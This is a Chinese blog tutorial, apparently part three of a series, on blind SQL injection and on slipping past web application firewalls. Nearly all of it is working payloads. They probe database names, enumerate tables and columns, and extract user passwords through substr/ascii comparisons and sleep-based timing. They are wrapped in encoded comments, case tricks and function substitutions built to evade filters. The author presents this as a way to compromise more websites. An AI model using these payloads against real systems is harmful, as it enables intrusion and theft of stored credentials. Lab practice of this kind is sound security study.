zoukankan      html  css  js  c++  java
  • sql注入杂谈(三)盲注

    前面2章已经讲过了union select 以及报错注入的语法以及简单的绕狗方法,现在我来谈谈我对于盲注的看法,网上把盲注的种类分了几种,我在这里就不分了,我就把我自己目前掌握的方法都记录下来,绕狗的一些心得。顺带一提,其实我的盲注其实是很菜的,但是盲注确是很厉害的,因为能union select注入和报错注入的网站,肯定能盲注,但是盲注的网站不一定能用union select以及报错注入拿下,意思就是掌握盲注其实能日的站要广一些。

    首先讲讲盲注一些基础的东西,其实我们才学sql注入有的讲师将盲注,就会讲一些很基本的函数,比如left ,length,substr等,盲注函数三剑客。但是只掌握这3个函数,对于我们盲注来说,只能玩玩sqli-labs,其实盲注配合burpsuit基于fuzz看长度来做,为提高很高的效率,不说p话了。

    and length(database())=8%23--+     //我们用这个来看看网站当前数据库的长度。如果有waf,一套组合拳

    127.0.0.1/sql/Less-1/?id=1' %0b/*!%26%26*/%0b!!!%23%0aleNGth(database/**/(/**/))=8%23--+      //看数据库的长度

     然后同样的left函数我们也可以这样绕过

    接下来我就讲讲substr这个函数,以及怎么样绕过

    and substr((select database()),3,1)='c' --+     //遍历3得到数据库的名字,security
    and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+      //得到表   红色的为第一个表的第二字字母,紫色的为第几个表
    and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)--+    //查看users表里的字段,password也可以换成username
    and ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+     //爆破user表里的password的字段,红色的为Dumb,紫色的为i-kill-you
    关于绕狗的几点建议

    1.我们首先也可以大小写绕过 suBStr这样

    2.函数替代,其实我们的sunstr = substring

    3.利用内联注释

    4.反引号

    5.特殊符号

    6.增加函数

      and IFNULL((substr((select database()),1,1)='s'),0) --+     //增加一个infull函数

      and strcmp((substr((select database()),3,1)='c'),1)--+      //增加一个strcmp函数

      and 0=strcmp((substr((select user()),2,1)='o'),0)--+     //这是对于strcmp函数的变形

    接下来看绕狗的payload:%0b/*!%26%26*/%0b!!!%23%0a ascii(sUbstRIng((select table_name from (`information_schema`./**/tables) where table_schema=database/**/(/**/) limit 0,1),2,1))>103--+

     

     然后是case when来绕过

    and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end--+    //用when case绕过

    %0b/*!50000|*/%0b!!!/*!case*/%23--hex()%0awhen (sUbsTrinG((select user/**/(/**/)),1,1)="r") then sleep(3) else 1 end/*!13440*/--+    //这里就不截图了,但是回显的时间正确的明显比错误的常

    利用if来绕过

      and If(ascii(length(database()))=56,1,sleep(5))--+      //绕过的payload如上面所演示

      基于这一类,我们可以结合burpsuit,就不用等回显,我们直接看长度

      

     绕过的方法也如上

    因为我的盲注也很弱,所以基于绕过盲注的方法也只有这么一点,但是我还是希望这几篇文章能够帮到一些刚刚学习sql注入的朋友,文章如有错误,还请各位看官斧正

      

     

  • 相关阅读:
    Log4Net的使用之winform
    开源一个跨平台运行的服务插件
    定时管理器框架-Task.MainForm
    nginx+iis+redis+Task.MainForm构建分布式架构 之 (redis存储分布式共享的session及共享session运作流程)
    关于SQL查询效率,100w数据,查询只要1秒
    写的一般,从起源到具体算法-深度学习综述
    如何避免SHRINKDATABASE & SHRINKFILE 产生索引碎片(转载)
    在windows service中启动类型“Automatic” 和 “Automatic (Delayed start)” 有何不同?
    C# 对WinForm应用程序的App.config的加密
    SQL Server中怎么查看每个数据库的日志大小,以及怎么确定数据库的日志文件,怎么用语句收缩日志文件
  • 原文地址:https://www.cnblogs.com/xinxin999/p/12524742.html
Copyright © 2011-2022 走看看